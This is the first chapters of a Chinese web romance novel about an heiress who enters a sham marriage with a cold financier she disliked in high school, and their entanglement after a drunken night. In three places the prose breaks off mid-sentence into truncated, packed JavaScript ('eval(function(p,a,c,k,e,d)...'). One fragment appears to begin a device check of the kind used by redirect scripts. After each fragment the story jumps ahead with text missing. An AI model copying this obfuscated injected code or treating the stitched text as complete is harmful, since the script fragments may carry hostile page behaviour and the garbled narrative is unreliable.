《失控悖论[先孕后爱]》 1. 第一章 活了二十四年,姜绒从来没有想过,有一天,她会和家族联姻这件事情扯上关系。 准确来说,半个小时以后,她从民政局里出来,就会成为名义上的有夫之妇。 毕竟作为家里锦衣玉食,备受宠爱长大的小女儿。 自高中开始,她就被家人安排,去了英国的贵族高中上学,接受完全西式的教育,住在安排了管家与厨师的姜家私人庄园里。 一直到她从伦敦中央圣马丁艺术学院,顺利大学毕业,她正热火朝天准备举办自己在伦敦博物馆的首场个人画展时。 便被母上大人苏砚清的一通电话,直接召唤回了国。 当姜绒接起电话,从苏女士嘴里听到“联姻”这个落后无比的词汇时,迟钝的大脑,还并未反应过来。 恍惚间她还以为,自己是骤然穿越到了某个封建年代的狗血剧里! 然而,当她坐上头等舱,风尘仆仆的回到姜家,那偌大的别墅里时。 看到一向乐观,没个正形的父亲姜新鸣,竟然头一次没了笑容,蹙起一双愁眉,一脸凝重。 她这才明白了,家里经营的连锁画廊,资金链断裂这件事情的严重程度,到底有多大。 因此,为了缓解家里的情况,度过这场难关,与拥有强大财力的世交,陆家联姻这件事情,无论如何姜绒都必须去做。 虽然一开始,陆母就已经通过苏女士,给她吃了颗定心丸,告诉了她。 这场婚姻是假结婚。 完全是为了给病重的陆老爷子冲喜,让他在临终前知道。 他最疼爱的,陆家唯一的孙子——陆沉渊,已经成了家,完成了他的夙愿,不带着遗憾离开这个世界,而安排的。 而陆家也承诺了,会在他们完成假结婚这件事情后,无偿赠予姜家足够多的资金,来帮助姜家彻底完成周转,度过危机。 红色阿斯顿马丁跑车里,等待绿灯的间隙。 姜绒放下车窗,伸出纤长的手指,随意抚了抚自己那头,被窗外的风,吹起弧度,蹭过脸颊的酒红色波浪卷长发。 又摘下了鼻梁上大大的墨镜,看向前视镜里,今天那张化了嚣张大红唇,以及上扬眼线,显得明媚而张扬的白皙小脸。 越是接近民政局,便越令她觉得心情烦躁。 毕竟,她对于自己这联姻对象,不仅算不上喜欢,甚至还觉得无比讨厌。 此时,一阵刻意加大的刺耳轰鸣声,兀然从她耳边传来。 姜绒皱起眉毛,转头看去,身边不知何时多了辆银色法拉利跑车,车窗落下,里面露出张气质油腻,桀骜年轻的脸。 显然,这男人是在故意引起她的注意,甚至在看到她疑惑不解的目光时。 对方还朝她大胆的挥了挥手,吹了声痞里痞气的口哨:“大美女,能认识一下吗?” 姜绒胃里直泛恶心,但随即她戴上了墨镜,勾了勾唇角,涂了蜜桃粉指甲油的纤长手指,牢牢握在方向盘上。 伴随着前方路口的绿灯,骤然亮起,她的红色高跟鞋,利落的踩下阿斯顿马丁的油门。 五分钟后,身旁那辆紧贴她不舍的银色法拉利跑车,被她成功别停在了转向前的路口,无可奈何的熄了火。 对方气急败坏的咒骂声,从车里传来,姜绒却突然觉得心情舒畅无比,像是出了一口,自己被迫联姻结婚的恶气。 更不必提,自学生时代开始,飞扬跋扈就是她的代名词。 于是,她心满意足的哼着小曲,扬起唇角,无视对方的一切行为,驾驶着自己的跑车,扬长而去。 在约定好的时间里,卡点到达了民政局门口,姜绒不紧不慢的开着车到了停车场。 却意外的发现,今天结婚的人数,比她想象中要多的多,竟然连多余的车位都找不到了。 一边在偌大的停车场里绕道寻位,她一边再也忍不住吐槽的心情,向闺蜜林晚发了条语音消息过去: “今天到底是什么黄道吉日呀?新闻不是早就说,国内的结婚率屡破新低吗?我竟然连停车位都找不到!” 对方虽然身处律师事务所,微信却回的极快,毒舌风格仍然不变: “我的千金大小姐,今天可是9月9号!99久久,寓意爱情长长久久,您假结婚难道也不会挑个人少的日子嘛?非得跟人真结婚的挤!” 姜绒差点被气笑,在国外待久了,她早就忘了,中国文化历来有谐音梗,奔好彩头的习惯。 但这领证的日子确实也不是她选的,而是陆家通知的。 这必然也是陆家长辈的意思,就算他们是假结婚,假领证,做戏也得做真点。 幸好,开着车转悠了几圈后,她在一个犄角旮旯里,发现一辆停的极其工整规正的黑色迈巴赫普尔曼旁边,还留有一个余位。 只是位置实在刁钻,对她的停车技术,是一个极大的考验。 顾不上那么多了,姜绒小心翼翼,紧挨着墙壁,将自己的跑车,紧挨着这辆迈巴赫,成功的停了进去。 等她熄了火,距离和陆沉渊,约定好的领证时间,已经过了半个小时,顾不上什么了,她拎起副驾驶上的香奈儿包,便一把推开车门,快速下车。 然而,刺啦一声响,在她耳边兀然响起,她愣了一秒,看到旁边的黑色迈巴赫普尔曼上,骤然多了一条白色的划痕。 这就是她把车离得过近的后果。 但没办法了,她现在已经没有时间再留下来处理这件事情了,于是她关上车门,快步离开了停车场。 然而,天公不作美,说变就变,姜绒才走出了昏暗的地下停车场。 雷声便已轰隆隆的响起,暴雨倾盆而下,席卷着地面上带来的潮湿咸气,将没带伞的她困在原地。 令她,只能隔着朦胧的雨雾,望向近在咫尺,却又远在天边的民政局入口。 包里的铃声兀然响起,姜绒拿出手机,果然是苏女士的电话接踵而至,接起时,对方的声音,已经立即钻进了她耳膜里: “绒绒,证领到了吗?沉渊那孩子不坏,长得那么帅,又年轻有为,肯定不会为难你的。” “前段时间,他创立的全球顶级审计事务所—普瑞维斯,还给陆家接了笔上亿的订单呢,京洲城里,不知道有多少千金想嫁给他。” “呵呵”听了苏女士的话,姜绒无力反驳,只能尴尬的笑了一下。 她能不知道陆沉渊的优秀吗? 自己这未婚夫,在京州,乃至全国,甚至全球金融界的影响力,亦是呼风唤雨般的顶级存在。 但若说他人不坏这一点,她就无法苟同了。 毕竟,姜绒是高二时才去的英国,但高一时,她在京州就读的贵族高中时,和陆沉渊可是同班同学呀。 似乎是听出了她语气里的沉默,苏砚清笑了几声,继续劝慰了她几句: “好啦,好啦,总归也是委屈你了。你爸今晚做了你最爱吃的菜,你哥那混账东西,也特地停了他的演唱会,赶回来了,就等着晚上给你庆功呢!” 姜绒听到这话却也笑不出来,庆功的前提是她得先和陆沉渊领到证再说呀。 这暴雨下的如此之大,而自己迟到了这么久,对方竟然对自己,他这未婚妻,不闻不问。 显然,他和自己一样,也对这场假结婚,极不上心。 与此同时,京州民政局门口。 “陆总,这已经迟到快40分钟了,要不我替您给姜小姐打个电话,问问情况?” 恭敬撑着伞的杨西,仰头望向身边,身材高大挺拔,一身高级定制西装,衬得肩宽腰窄腿长,鹤立鸡群,引来无数领证路人侧目的自家总裁,小心翼翼的开了口。 黑伞下,男人低垂眉眼,冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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姜绒疑惑的抬头,男人身量极高,目测超过188cm,首先触及目光的,是他握着黑色实木伞柄的手。 肤色冷白,如常年不见光的玉,泛着冷冽的釉色。骨节极度修长匀称,隐隐透着青色的血管,像是精心雕琢出来的艺术品。 高级定制西装袖口下的手表,她认识,百达翡丽的星空表,全球限量三款。 而当她视线上移,看到了一张线条分明,眉眼深邃清晰,鼻梁高挺,如雕塑一般的脸。 这种脸拥有着极其强大的气场,又冷峻到似是蛰伏在深海的巨兽,令人胆怯生畏,不敢与之对视。 金丝框镜片后的那双眸子,眼型狭长,内双褶皱极浅,瞳色极深,近乎纯黑,眼尾微微上挑,显得极其禁欲理智。 看人时,就像在扫描数据,不带有一丝感情。 姜绒顿了一下,这种人形电脑般的感觉,在学生时代里,她似乎曾在一个人身上感受过。 在脑海里尽力搜寻一番后,一个名字,令她立即反应了过来,对上了这张脸——陆沉渊! 没想到自己这假结婚对象,竟然还是亲自找上了她来。 这实在太丢面子,甚少在任何场合觉得羞耻的姜绒,白皙的耳朵上,迅速爬上了一丝绯红,朝他说了一句: “你再等一下!我马上就能走了!” 然而,那半截鞋跟,却似乎在故意和她作对。 深深地卡在牢固的铁栅栏里,无论她伸出手臂,如何努力,如何使劲,就是拔不出来。 陆沉渊高大的身影,却兀然在她身前蹲了下来,离得极近,压迫感极强,几乎将她整个人笼罩。 姜绒愣住了,屏住呼吸,心跳差点停了一秒。 2. 第二章 “我来。” 他声线低沉,像冰层下的暗流,明明不带任何情绪起伏,却每个音节都清晰到让人无法忽视,极具掌控之感。 现下为了能够快点去领证,也没有其他办法了,姜绒只得朝他窘迫的点了点头。 陆沉渊伸出骨节修长的手指,握住了她穿着红色高跟鞋,淋了不少冷雨,肤色显得越发白皙,有些冰凉的左脚。 兀然感受到他掌心传来的微热温度,姜绒浑身颤抖了一下,耳朵上莫名红的更加厉害。 毕竟这是与异性的陌生肢体接触。 而且因为自己168的身高,和他188的身高,极具体型差的缘故。 他宽大的手掌,能够完全轻松覆握住她小巧的左脚,肌肉线条明显的胳膊,只是微一发力,便令她摆脱了困境。 红色的华伦天奴鞋跟,彻底脱离了地上铁栅栏的束缚。 “谢谢”姜绒摇摇晃晃的站起了身来,重新适应了踩在地面的平衡以后,她大大方方的朝他道了句谢。 陆沉渊的表情却并无波澜,高大的身影转过去,长腿一迈,领着她向前走去:“尽量二十分钟内,完成领证。” 二十分钟?姜绒眉尾抽搐了一下。 这人,还真是一如既往的冷,不近人情,无趣古板,仿佛他生命里的每一分每一秒,都需要经过精密的研究与计算。 幸好和他只是假结婚! 姜绒在心里狠狠吐槽了一句,随即跟上了对方的脚步,走进了民政局里。 走到温暖的室内,浑身已经湿透的姜绒忍不住打了个喷嚏。 杨西赶忙走上前去,将一块干燥的羊绒毯递给了她,朝她热情的做了个自我介绍: “姜小姐好,我是陆总的私人特助杨西,这是我的名片,将来您有任何事情都可以联系我,我会传达给陆总!” 姜绒迟疑的接过那张名片,心里对陆沉渊的不满更胜一筹了。 不用猜,这很显然也是陆沉渊的意思,他希望自己有什么事情,通过特助来联系他,而不是直接联系他本人。 这也实在是太把他自己当回事了。 要知道她也很想一年之后,立即结束这段荒谬的婚姻关系。 当她擦干了一头红色波浪卷长发,又拿出粉扑,补好了妆,确保自己的形象,完美无缺,坐到领证窗口台前时。 陆沉渊坐的挺直而规矩的高大身影,早已在等她了,甚至在工作人员的注视下,出示了她们两人的结婚照。 姜绒坐下来,翘起二郎腿,伸出纤长的手指拿起那张照片,仔细看了看,觉得新奇而好玩。 事实上这也是她第一次看到,她和陆沉渊的结婚照。 毕竟这张她们身穿白衬衫,挽着手臂,一同露出自然微笑的红底照片。 是由她提供了自己的照片,再由陆家那边聘请了专业修图人士,将她和陆沉渊的照片p在一起,天衣无缝,合成的结果。 而事实上,她们两人并没有一起拍结婚照的这段经历,这令她颇觉的,有种荒诞艺术的感觉。 陆沉渊身穿白衬衫的模样,倒是与他现在的模样反差极大,多了几分学生气。 令她兀然想起,高中时,对方那张,永远规规矩矩,死读书,一板一眼,令她打不到又碰不着,心里直恨得牙痒痒的乖乖学生模样。 “请问两位是自愿结婚吗?” 许是因为看到了姜绒脸上的表情,工作人员的目光落在了她们脸上,兀然表情严肃的问出了这样一句话来。 陆沉渊的表情微妙的变了一下,骨节修长的手指握紧,有些轻微泛白。 一双黑眸镇定自若的看向工作人员,轻轻点了点头:“对,我们是自愿结婚的。” “那这位小姐呢?”工作人员敏锐的目光,继续落在了一旁的姜绒脸上,似乎在试图从他们脸上,找出任何破绽来。 感受到停留在自己脸上的目光,姜绒却放下了手里的照片,瞬间露出了一个大而明媚的笑容来,随即她做出的动作,令所有人都意想不到。 “我们俩当然是自愿结婚的,我和我老公的感情,可是非常甜蜜呢!我们从高中校服一直谈到现在,都七八年了!” 她的声线兀然已经变了,变得娇滴软糯。 一把揽住了陆沉渊肌肉线条明显的胳膊,将她那张白皙的小脸,贴在了他宽阔的肩膀上。 素来在情场上叱咤风云,此刻故作自然,直视着那名工作人员的姜绒,白皙的耳尖却还是无法抑制的红了一下。 毕竟她和陆沉渊是真的不熟。 更不必提,如此之近的距离,她能透过对方身上,打理到一丝褶皱都没有的高级定制西装,隐隐闻到 ——对方身上那股莫名吸引她的,雪松,佛手柑,混着檀香的清冷味道。 陆沉渊的身体很明显的僵硬了一下。 他侧头看去,这个角度,正好能看到姜绒浓密的睫毛,如同两把灵巧的黑色小羽扇,落在她白皙眼睑上,挺翘的鼻头,张扬的红唇,和酒红色的波浪卷长发,更显得她侧颜充满灵气,如同摆在橱窗里的洋娃娃一般,精致而贵气。 “好的,祝你们百年好合,请两位签字确认!” 工作人员果然被姜绒的这套动作,彻底打消了疑虑,朝她们礼貌的笑了一下,将两份确认结婚的文件,摆在了她们面前。 姜绒大手一挥,如同签自己的艺术画作署名一般,龙飞凤舞的快速签下了自己的大名。 陆沉渊签名的风格,却与她极其不同,握笔姿势标准,签的很慢,字体虽然规整而好看,在她眼里看来,却与一切艺术细胞都无缘。 他们成功领到了证,才走出了民政局,杨西已经满脸笑容的迎了上来,送上了两只鲜翠欲滴的红玫瑰,大声祝贺他们道: “恭喜陆总,恭喜陆夫人,祝你们新婚快乐,百年好合!早生贵子!” 四周空气,瞬间安静了下来,在杨西这句本是审时度势,烘托氛围的祝福之下,变得尴尬无比。 显然,他们两人是假结婚的事,目前杨西并不知情。 陆沉渊并未伸手去接杨西那枝递出的红玫瑰,反而扫了一眼腕上的手表,冷冷提醒了他一句:“不该你分内的的事情,少做。” 杨西的笑容瞬间僵住了,细密的冷汗已经从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜绒屏住呼吸,脸上瞬间红了起来,她和陆沉渊到底是什么冤家呀?这车竟然还真是他的! 几百万的修理费呀,家里目前周转不开,她卡里剩下的余额,还准备拿来筹建自己的艺术馆呢,总不可能全部赔给自己这罗刹鬼未婚夫吧! 可在这做缩头乌龟也不现实,总不能等到陆沉渊看了监控,亲自发现是她干的吧,这也太尴尬了。 于是,姜绒只能硬着头皮,走上了前去,站到自己的阿斯顿马丁跑车前,用响亮而无所谓的声音提醒了他们,自己的存在: “咳,不好意思啊,我过来的时候,没找到停车位,只有你的车位旁边,还有一个位置,所以下车的时候急了点,没注意。” “姜小姐……竟然是您干的?”杨西瞪大一双眼睛看着她,显然没有预料到。 姜绒低头瞥了一眼,黑色迈巴赫上,那道深而刺眼的白色划痕,心虚又加深了一些,她当时怎么没注意到,轻点开车门呢,这道划痕是真的很严重。 但在陆沉渊面前,自己绝对不能丢了面子,于是她抬头望向他,抱着胳膊,语气洪亮的开了口: “所以呢,要赔多少?我自己做的事情,就自己承担,你们报个数吧。” 陆沉渊的反应却出乎她意料,对方看都没看她一眼,长腿一迈,高大的身影径直坐进了车里,只留给她一句,不咸不淡的话: “不必赔了,明天下午三点,你陪我一起去医院,见我爷爷。” 3. 第三章 去见他爷爷?姜绒望着那辆缓缓驶离的迈巴赫愣了一下。 这确实也是叶女士告诉她,陆家之所以急着让自己和陆沉渊联姻,并且愿意给出一大笔钱来帮助她家的画廊,度过难关的根本目的。 一切都源于陆老爷子病危,所以作为“未婚妻”,她接下这个任务,和陆沉渊去扮演恩爱的一对,让陆老爷子放心,也是应该的。 于是,她点了点头,语气轻松的答应了陆沉渊这个要求。 从民政局回到家里的别墅时,姜绒才在地下车库里,停好自己的跑车,管家老陈已经上前为她打开了车门,并告诉了她,姜曜已经回到了家的好消息。 下了车,她取下自己鼻梁上的太阳眼镜,果然看到了,自己车旁停着的,那辆墨绿色的路虎卫士。 才走进家门,一股诡异的味道已经扑鼻而来,准确来说那是红酒,混合着各种复杂食物,难以言喻的味道。 果然,在极宽敞的开放式厨房里,姜绒看到了一身旗袍的苏女士,忙的热火朝天的身影。 案板上是被她那毫无天赋的刀功,切的乱七八糟的有机蔬菜,银色炖锅里,则盛着泛着诡异的暗红色,冒着泡的水果和牛肉。 而她的父亲——姜新鸣,那个厨艺极佳,家里当之无愧的掌勺之人,国内顶级的艺术品鉴定专家,正站在苏女士身旁,一脸宠溺的看着自己老婆做饭。 姜绒走上前去,打破了他们的“甜蜜时光”,顺手从桌上摘下一粒日本晴王葡萄,塞进嘴里: “老姜,怎么又让你老婆动手做美味佳肴了,这锅汤,该不会是煮给我和姜曜喝的吧?” 作为宠妻狂魔,姜新鸣朝她使了个眼色,警告她好好说话。 听到她的声音,苏清砚立马停下手里的刀,抬头看向了她,脸上的笑容根本遏制不住: “那当然了!这是我为了犒劳你,特地给你设计的,独家红酒绘和牛蔬菜!我还给它取了个中文名字,叫姹紫嫣红开遍,你看看锅里那颜色,多好看,多有诗意!” “咳!”听到她这话,姜绒差点被嘴里的葡萄汁水给呛到。 看来这么多年来,因为从未有人提醒过苏女士。 虽然她作为国际知名画家——水墨革新派的大师,艺术上的造诣登峰造极,但做饭是真的没天赋这件事。 导致了她,对于烹饪的热情不灭,自信至极。 苏砚清看到她的反应,表情里满是不解:“怎么了?绒绒,你就这么迫不及待,想尝尝妈做的汤了?” “对对对!但是妈,我觉得有空的话,您还是去一趟周野的餐厅,进修学习一下会更好!” 姜绒咽下嘴里的葡萄,讪笑着朝苏女士说道。 一道脚步声却朝她身后传来,姜曜半死不活的慵懒声音从她身后传来,双手还插在裤兜里: “我哥们那餐厅,可是金榜餐厅呀。姜绒,你给他一个米其林三星主厨,安排这样一个好徒弟,安的什么心呀?” “姜曜!你要死啊!在家里还戴什么帽子口罩!像个变态似的!”听到他说起话来,这阴阳怪气的毒舌语调,姜绒气便不打一处来。 她转过身去,跳起来,毫不留情的摘下了她哥头上,那顶严严实实的黑色鸭舌帽,以及那副挂在鼻梁上,几乎遮住了他大半张脸的黑色墨镜。 姜曜那一头极时尚的,带着摇滚氛围的粉色头发,瞬间出现在了所有人面前,他整张脸痞帅而好看,和姜绒有三分相似之处,却多了些狂妄不羁和自带焦点的气质。 “我是不是变态不知道,但有没有变态私生饭,跟着我回家,那就不一定了!” 姜曜将手从裤兜里抽出来,朝姜绒痞里痞气的扬了扬唇角,从她手里拿回了鸭舌帽,如是说道。 姜绒双手叉腰,朝他撅起嘴巴:“害人精!都怪你,家里的玻璃全部换成单向的,窗帘也从来不能开,我晚上睡觉都不踏实!” 姜新鸣赶忙摘下围裙,走上前来,给他们这对从小吵到大的兄妹劝架: “绒绒,你就多担待你哥嘛!他是明星,又是他们摇滚乐队的主唱,事业已经起步了,粉丝一多,自然什么人都有。” “是啊,你哥为了你,还把今天的演唱会都停了呢,专程赶飞机,回了家里一趟呢。”苏清砚同样在一旁帮腔,搅着锅里的炖汤说。 姜绒嘟着嘴巴,端着手,满脸不高兴:“那你们怎么不让姜曜联姻,让他和电脑人假结婚去!” 电脑人?众人面面相觑,没弄明白她这话是什么意思。 姜曜却笑了一下,伸手揉了揉姜绒的脸蛋,直接递给了她一个大大的黄色礼盒:“好了,别生气了,姜大小姐,这是我给你准备的礼物!” 姜绒看到那盒子,眼前一亮,直接打开了盒子,惊喜便瞬间掩盖了内心的火气,笑容藏不住: “爱马仕最新款KellySellierSogueriaBox!可以啊,姜曜,这款可是限定款哎,你是怎么抢到的?” “小意思。”姜曜却朝她扬了扬唇角。 姜绒也不再闹脾气了,取下防尘套,拎起新的包包,原谅了他:“哼,看在你这么有诚意的份上,我就饶了你!” 三天后,和陆沉渊约定的时间到了,姜绒这次学聪明了,准时到达了医院,和陆沉渊去病房里见了陆老爷子。 这过程中,她戏精附体,挽着对方僵硬无比的胳膊,和陆沉渊扮演了一对极其和睦,甜蜜恩爱的新婚燕尔。 她甚至还坐在病床边,添油加醋,声情并茂的向陆老爷子,描绘了自己家作为陆家的世交,曾经的邻居,自己从小便与陆沉渊,情愫渐生的诸多“往事”。 甚至还大着胆子,编造了高中时期,作为同班同学,自己听闻了陆沉渊在学校,在班里的许多“光荣事迹”,因此自己很久以前,就暗恋上了陆沉渊的戏码。 陆老爷子听了这些话,在病床上高兴的不行,虽然因为病重,鼻子上还插着鼻饲管,连话也说不出来了,却回光返照了。 他眼睛里闪着光,咧着笑容,艰难的伸出枯瘦的手,把她和陆沉渊的手,握在了一起。 几天以后,老人家便含笑而去了。 而作为出色完成了这个任务的人,姜绒自然受到了陆家长辈的高度赞扬和认可,家里的连锁画廊,很快就收到了陆家的资金,无偿援助,很快就度过了难关。 领完证,见完陆老爷子,交完了差以后,姜绒便和自己这新婚丈夫,完全断了联系,把重心放在了自己,自回国以后,便一门心思筹备的艺术馆。 有了父母介绍的人脉,又有自己的工作狂闺蜜,一丝不苟的,艺术法律师——林晚的全程帮助。 姜绒的艺术馆,无论是选址,见朋友,还是拉投资,进展都超乎想象的顺利,短短几个月的时间,就已经落地建成了。 时间一晃,就到了来年九月,距离她和陆沉渊约定好的领离婚证的日子,也终于要到了,就在明天。 姜绒心里高兴至极,既有自己马上能重回自由身的兴奋,又有对自己艺术馆即将开业的期待。 【哥,给我在你粉丝群里打个广告,后天九月十号,我艺术馆开业,将来凭你乐队的演唱会门票进场,可以免费看展!】 形象设计工作室里,躺椅上的姜绒,左手还在美甲师手里被精心装饰着,右手已经在手机屏幕上敲下了一行字,利落的发送了出去。 林晚的电话却接踵而至,姜绒迫不及待的接了起来,向那头问: “林大律师,怎么样,下班了没有啊?几点到,要不要我去接你?你是我的大功臣,今天晚上的庆功宴,你可绝对不能缺席!” 相比往常的毒舌,以及正能量,林晚的语气此刻却有些不一样:“绒绒,今晚上我就不过去了,我妈突然流感了,喉咙不太舒服,我陪她上医院看看去。” “啊!病的严不严重?那我今天晚上,一回家就给阿姨寄人参,燕窝,虫草过去!”姜绒被吓了一跳,忙冲电话那头说道。 林晚却不以为然,叮嘱了一句,利落挂断了电话:“你别担心了,没什么大事!后天你艺术馆开业我再过来!” 人生还真是处处充满了意外呀。 放下手机,姜绒抬起白皙纤长的手,看了眼自己刚做好的高级感满满,莫兰迪脏粉色指甲,感叹了一句。 当她披上自己白色的貂皮绒外套,由服务人员,撑着伞亲自送到跑车前时。 姜绒被这温度骤降的天气,冻得忍不住搓了搓手,抬头看了眼天空,才兀然意识到。 更意外的,应该是今天的天气才对。 凛川市,本就位于纬度53°N的最北端,所以冬季极度漫长寒冷,夏季短暂凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜绒没有想到,自己这一通吹嘘后,排着队向她这个晚辈敬酒,恭维她的人,却越来越多了。 一杯又一杯,白的洋的下肚,饶是酒量再好,她也逐渐开始喝的上头了。 最终,庆功宴结束的时候,已经到了深夜,她也只能靠人搀扶,才能勉强站稳了。 “我没事!我……还没醉!”姜绒结结巴巴的说道。 她颤颤巍巍地伸出胳膊,欲从自己的爱马仕包里去掏手机,通知自家的司机来接,却连掏了好几次,都拿不起来。 见她喝成这副烂醉的模样,几个朋友也不放心她自己回去,于是决心把她送到家门口去:“姜绒,你别瞎忙活了,我们亲自送你回去!” 于是醉醺醺的姜绒被一左一右的架着,上了黑色的宾利,径直向市外的山上驶去了。 “这里……是哪里?” 她白皙的小脸,因为醉酒而涨得绯红,望着车窗外陌生的景色,盘山公路和枝干修剪的极齐整,落下了一层雪花的树林。 友人朝她笑了一下:“姜绒,你真是喝糊涂了,这是陆家,你老公的地盘啊。云顶天阙,我们正送你回家呢。” 什么云?老公?喝断了片的姜绒,只觉得云里雾里,在脑海里艰难的消化这个字眼,莫非她现在是在做梦? 车在偌大而气派,色调高级的别墅门口停下后,姜绒被友人扶下了车。 冷风直往她的貂皮大衣里灌,令她清醒了几分,却还是茫然的盯着,面前陌生的实木雕花木门看,没有搞清楚目前的状况。 友人架着她,站在别墅门廊下,握住她手指,摁响了门铃,寂静的空气里,瞬间响起了门铃声,却好几分钟都没有人应答。 “姜绒,你没带房卡或者钥匙吗?打你老公电话,输密码也行啊,家里的密码还能记得吗?” 这情况倒是令友人们有些纳了闷,一边搀扶着她,一边向她问到。 咔哒。 此时,别墅的门锁却转动了一下,房门瞬间被打开了,室内的暖黄亮光,伴随着水汽一同袭来。 姜绒睁大了一双茫然的大眼睛,抬头望去。 她的“丈夫”此时竟然正好在这里。 4. 第四章 凌晨五点,艺术人独有的生理闹钟,将姜绒准时唤醒。 她闭着眼睛,伸了个懒腰,将白皙纤细的胳膊,从质感极佳的桑蚕丝被子里抬起,涂了脏粉色的手指甲,惬意的揉了揉一头顺滑蓬松的卷发。 自大学开始,她便早就习惯了,在她灵感最为充沛的时间段起床,进行自己的艺术创作,或者忙策展布展的事。 每天雷打不动,除非地球不自转。 太阳穴处,轻微的抽疼和不适感,一阵接一阵传来。 她皱了皱眉,伸出纤长的手指,习惯性的去摸床上的 手机,打算立刻让人,给自己送杯热美式上来。 然而,摸了半天,她却没有摸到,指尖反而触到了一阵异样的,诡异的,带有温度的触感,那似乎是独属于人类男性,胳膊上的肌肉。 家里的床上,怎么会有男人?! 姜绒瞬间缩回了手,睁开了一双眼睛,侧头看去。 这一看,却让她差点惊呼出声,整个人立即清醒了过来。 她身旁确实躺着一个男人! 男人上身赤/裸,闭着眼睛,长而直的睫毛,在眼睑下投出浅影,整张脸轮廓深邃,立体而好看,呼吸频率平稳,显然还未从睡梦中醒来。 他发色如墨,肤色冷白,身量很高,凌厉的肌肉线条,如同刀刻一般明显,沿着紧实的八块腹肌、人鱼线,一直往下延伸,停在系的极为规整的白色浴巾处。 饶是在国外时,姜绒在朋友的盛情邀请之下,去看过几场男色相关的表演show,见识到过,不同于黄种人的肌肉与体型冲击。 姜绒还是被面前这副,堪称上帝杰作的完美躯体,给惊艳到了,不由瞪大了一双眼睛,入迷的看了好几秒钟。 这男人到底是谁?难道自己莫名其妙的被人占了便宜? 姜绒眯起眼睛,在脑海里奋力搜寻答案,根本想不明白。 此时,一股熟悉的味道,兀然钻进她鼻腔里。 淡淡的雪松调,混合着佛手柑的苦涩,以及檀香木的余味。 这股味道,明明不近人情,清冷至极,却莫名令她双腿发软,而且有些熟悉。 姜绒瞪大眼睛,瞬间明白了过来,这人是谁! 她名义上的老公——陆沉渊! 她万万没有想到,对方不戴那副金丝框眼镜的时候,竟然是这副模样。 去掉了那股古板,固执,冷漠的感觉。 陆沉渊的睡颜,不仅有了活人的气息,甚至多了几分易碎的反差感,令她根本认不出来。 更不必提,那规整的三件套西装底下,竟然藏着这样肌肉线条完美的躯体,完全与她想象中不同。 毕竟,在她印象里,高一时,永远戴着厚重黑边框眼镜的陆沉渊,个子不高,在班上的一众男生里,并不突出。 在她眼里,除了令人讨厌的书呆子,学习委员,人形电脑,这几个标签以外,是泯然众人的存在。 一股迟来的酸痛感,从姜绒身上袭来,她的感官,后知后觉开始复苏,只觉得浑身的每一处,仿佛都被什么重重碾压过一番。 低头看去,姜绒懊悔的捂住了嘴巴,整张脸涨得通红。 果然,她身上所穿的,极其宽大,一直足以覆住她整个脚踝的黑色真丝睡衣,根本就不属于自己! 昨晚的记忆如同潮涌一般,即刻冲进她大脑里,令她整张白皙的小脸,瞬间绯红,浑身都因为羞耻而发起了热。 晚上友人将她送到这里以后,成功敲开了门以后,自己不知道是哪根弦搭错,主动亲了她根本看不顺眼的陆沉渊! 因此,不是陆沉渊睡了她,而是她睡了陆沉渊! 快逃!这是现下姜绒唯一能够想到的办法。 如同逃离案发现场的罪犯一般,她迅速小心翼翼的掀开被子,蹑手蹑脚的下了床。 而当姜绒踩在纯手工编织的羊绒地毯上,环顾四周时。 她才彻底明白了,友人们口中,陆家这套,她从未踏足过,价值上亿的“婚房”,到底达到了怎样顶级奢华的地步。 卧室大得近乎空旷,甚至能产生一丝微弱的回声感。 脚下是触感温润的玉白色天然大理石地板,光洁如镜,倒映着瑰丽的穹顶和整排巨大的落地玻璃门,纯手工打造的意大利真皮家具,布局四处,低调而奢华。 抬头望去,头上悬浮在空中的华丽吊灯,如同穹顶的中心,不像是一件灯具,更像是一颗璀璨而冰冷的星辰,睥睨众生。 它由无数根极细的、近乎透明的晶石细丝,垂落组成,每一根晶丝末端都缀着一颗大小不一的切割钻石, 这些钻石甚至并非寻常可见的白钻,而是带着极其微妙的、近乎无法察觉的淡灰色调的稀有灰钻。 没有时间再耽误,趁对方还没有醒来之前,她必须马上离开这里! 姜绒穿上自己的高跟鞋,换上自己的貂皮大衣,拎起地上的爱马仕包包,便逃也似的离开了这栋别墅。 坐在叫来的专车上,回头望了一眼,那栋与自己渐行渐远的别墅,她才抚了抚胸口,彻底放下了心来。 然而手机屏幕却立即亮了起来,是林晚的电话,一个接一个。 姜绒迅速按下了接听键,对方焦急的声音,瞬间从电话那头响彻: “姜绒!你人呢?死哪里去了!该不会忘了,今天是你艺术馆开业的日子吧?赶紧给我过来!布展这边的人手根本不够!只有两个小时了!” 坏了,她这才想起来,自己为了能够双喜临门,既是她和陆沉渊领证离婚,恢复自由身的日子,又是自己艺术馆开业的日子。 因此,特地将自己艺术馆的开业仪式,选在了今天上午。 “没忘!没忘,林大律师,小的马上到!已经在路上了!”姜绒羞愧不已,赶忙低声下气的安抚对方,好说歹说,这才挂断了电话。 此时,姜绒却注意到,前座专车司机的目光,似乎却总是带着些若有若无的好奇和探究,落在前视镜里,坐在后排的她身上。 怎么了?自己身上是有什么不对劲的地方吗? 姜绒百思不得其解,她纤长的手指,拿起手机,照了照自己自带光泽,柔顺而蓬松的头发。 因为经常保养的缘故,她的头发可以说,任何时候都无需打理,也自然好看而有型。 因此,并不是发型的问题。 她接着看向镜子里自己并不显得疲惫,且护理保养得当,皮肤质感极佳,看不到一丝瑕疵的脸。 脸也没什么问题。 视线接着往下,姜绒却瞬间涨红脸,慌了神。 